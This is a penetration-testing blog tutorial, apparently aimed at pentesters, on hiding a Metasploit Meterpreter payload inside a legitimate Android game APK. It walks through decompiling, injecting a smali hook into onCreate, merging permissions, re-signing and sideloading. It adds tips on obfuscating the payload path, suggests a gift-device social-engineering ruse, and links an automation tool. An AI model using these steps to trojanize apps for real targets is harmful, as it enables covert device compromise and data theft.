Embedding Meterpreter in Android APK

Joff Thyer//

Mobile is everywhere these days. So many applications in our daily life are being migrated towards a cloud deployment whereby the front end technology is back to the days of thin clients. As the pendulum swings yet again, our thin client can be anything from a JavaScript browser framework to a mobile-enabled frontend such as Objective-C on Apple iOS, or Java-based on Android.

Looking at malware, our friends at Apple continue to maintain the 5-guys in a cave paradigm of attempting to vet all apps that enter the iOS app store. While it is a noble effort, there are still instances where malware creeps through the door. Unlike Apple, the Android marketplace is an open approach that allows anyone to contribute to the play store, and moreover represents a majority of the mobile market share. In addition, there are various third-party sites that allow direct download of Android applications package files (APK’s).

The Metasploit project allows a pentester to generate Android payloads with a pretty highly functional Meterpreter command channel that can be loaded onto an Android device. Typically, loading this APK will be through the Android debugger “adb” through sideloading. From a pen tester perspective, something that is fun to do is to combine a legitimate (perhaps fun) app with Meterpreter and sideload that app onto an Android device. Naturally, you would probably consider sending that device to a “friend” as a gift or some similar social engineering ruse.

Android applications are written in Java which compiles down to a Dalvik executable format known as DEX. The compiled version of an application is a ZIP file of DEX bytecode files. The Dalvik virtual machine on Android has been more recently replaced with Android RunTime (ART) which performs additional optimization and compiles the DEX bytecode into native assembly code. The Dalvik VM primarily performs Just In Time (JIT) interpretation of the majority of bytecode. ART is higher performing than the Dalvik virtual machine which only optimized portions of the bytecode for frequently executed parts of the app.

Smali/baksmali is an assembler/disassembler for Android DEX bytecode. An Android tool named “apktool” enables the disassembling of zipped DEX (APK files) into smali files, and reassembling of smali files back to DEX and subsequently to the zipped APK format. We can use this tool to disassemble and modify an existing APK file. In this context, we can use the tool to disassemble and add an additional static entry point into the smali code of the initial Android Activity to kick off our Meterpreter.

Overall the steps to embed a Meterpreter into an existing APK file are as follows:

  1. Find an existing fun APK application on “apkmonk.com” or similar mirror site.
  2. Generate the Metasploit APK file.
  3. Disassemble with “apktool” both the Metasploit APK file and the APK file we are intending to modify.
  4. Copy all of the Meterpreter smali code over to the new APK smali directory.
  5. Find the entry point of the code within the APK application’s AndroidManifest.xml file by looking for the intent-filter with the line: <action android:name=”android.intent.action.MAIN”/> The activity name that encloses this intent-filter will be the entry point you are seeking.
  6. Modify the activity “.smali” file to include a line that starts up the Meterpreter stage.
  7. Copy all of the Meterpreter smali code over to the new APK smali directory.
  8. Re-assemble into DEX zipped format.
  9. Sign the newly created APK file with “jarsigner”, and then sideload onto your target Android device.

It is much easier to understand the above steps with a concrete example. To illustrate this, I downloaded an APK file of a game called Cowboy Shooting Game from apkmonk.com.

Generate Your Malware APK

I then generated a Metasploit APK using the “msfvenom” command as follows.

Disassemble the APK Files

Both files were then disassembled (baksmaling!!!) using the “apktool” as follows:

Copy the Malware Code Into the Cowboy Tools Game

An easy way to do this is to change directory into the Metasploit APK directory, then copy all of the files under the “smali” directory into the “com.CowboyShootingGames_2018-09-22” directory. An old trick I learned from a systems administrator to backup entire directory trees using the “tar” command comes in handy whereby you pipe the output of tar into a second command which changes directory and “untars” the resulting files.

Find the Activity EntryPoint

Below we can see that the entry activity is listed as “com.CowboyShootingGames.MainActivity”. We know this because the XML contains an intent-filter with “android.intent.action.MAIN” within it.

Modify the Activity EntryPoint Smali File

As can be seen above, in this case, the file is going to be named “MainActivity.smali”, and will be located in the “com/CowboyShootingGames” directory as per the periods (“.”) in the fully qualified classpath.

Within the “MainActivity.smali” file, we are looking for the “onCreate()” method.

We need to add a single line of “smali” code right below the “onCreate()” method call to invoke our Meterpreter stage.

  invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V  

Please note that the above is a single line of code. It is possible to obfuscate by using a different pathname than “com/metasploit/stage/Payload” however if you do that you will have to modify all references to the path in all of the “smali” files that are contained in the “Payload” directory and change the directory name itself. This can be done manually but is prone to error. Continuing without any obfuscation for a moment, the final result after modification will look like the below screenshot.

Add Permissions to the Modified APK “AndroidManifest.xml” File

For the next step, use “grep” to search for all of the lines in the Metasploit “AndroidManfest.xml” file that contain the strings “uses-permission”, and “uses-feature” into the modified APK’s AndroidManiest.xml file.

You will need to use an editor to insert the permissions at the appropriate place in the new “AndroidManifest.xml” file. Search for an existing “use-permission” line as your guideline of where to insert the text.

You might end up with some duplicate permissions. You can optionally remove them but it really does not matter.

Build the New APK Package File

Now use the “apktool” again to re-assemble the resulting APK package file. The end result will be written into a “dist” directory within the APK directory itself.

Re-Sign the Resulting Package File

For resigning, one easy method is to use the Android debugging keystore which is built if you install Android studio. The debugging keystore will be contained within the “.android” hidden directory in your home directory on a UN*X system.

An alternative method is to use the Java “keytool” to generate your own self-signed keystore and sign it using the “jarsigner” tool as shown in the screenshots below.

At this point in time, the “final.apk” file is ready to be loaded onto an Android system using “adb”.

In this specific case, I am running a copy of “GenyMotion” which is an x86 based emulator that uses VirtualBox for a very high performing Android emulation. One of the challenges you might immediately run into is that the x86 emulation will not natively support the ARM processor. To get around this challenge, there are some ARM translation libraries available online. You would need to search for “Genymotion-ARM-Translation_v1.1.zip” and then drag the ZIP file onto a running GenyMotion Android system. Unfortunately, this is not 100% reliable, and some app crashes may still result.

One certain way to make sure an ARM APK file runs on a device is to use a hardware device itself. I have found that the Nexus 6 series of devices are nice to work with as the “rooting” kit is fairly reliable, and attaching via a USB cable for testing is not too onerous.

The final step is, of course, to try out our newly infected Cowboy Shooting game. We find out quickly, that the moment we launch the game, we get a Meterpreter shell on our KALI system which just feels so right.

I really don’t think I am going to take the time to learn this game, which frankly was just a random pick from “apkmonk.com”.

So Many Complicated Steps… so much can go wrong…

So after performing all of the requisite steps above, I was immediately frustrated. There are so many moving parts that the chances of error are pretty high. There are likely other tools out there that are available to use but I decided to whip up a quick Python script to automate this process. I called it “android_embedit.py” and I will warn you now, this is definitely a quick and dirty effort to get something to do the job without much effort on hardening the logic at all.

The idea of “android_embedit.py” is that if you supply a Metasploit generated APK file, an original APK to modify, and a keystore, it will perform all of the steps in an automated fashion and generate the result for you.

Below is an example of running the tool. All of the temporary files and output will be stored in the “~/.ae” directory.

The tool also will remove the “metasploit” directory name and obfuscate it with a random string directory name automatically. You can see this result in the below screenshot in which I listed the contents of the APK “smali/com” directory. The directory named “dbarpubw” actually contains the Metasploit stager code.

There is much continuing fun to be had with mobile apps, and their associated application programming interfaces. It is a good idea to get familiar with the platforms as a pen tester as you will undoubtedly encounter a need to test in the mobile space before long.

I suppose you just might want to play with “Android EmbedIT” now! Well if you do, you can download from my GitHub by visiting https://github.com/yoda66/AndroidEmbedIT.

Keep calm, and hack all the mobile things. ~Joff



You can learn more straight from Joff himself with his classes:

Regular Expressions, Your New Lifestyle

Enterprise Attacker Emulation and C2 Implant Development

Introduction to Python

Available live/virtual and on-demand!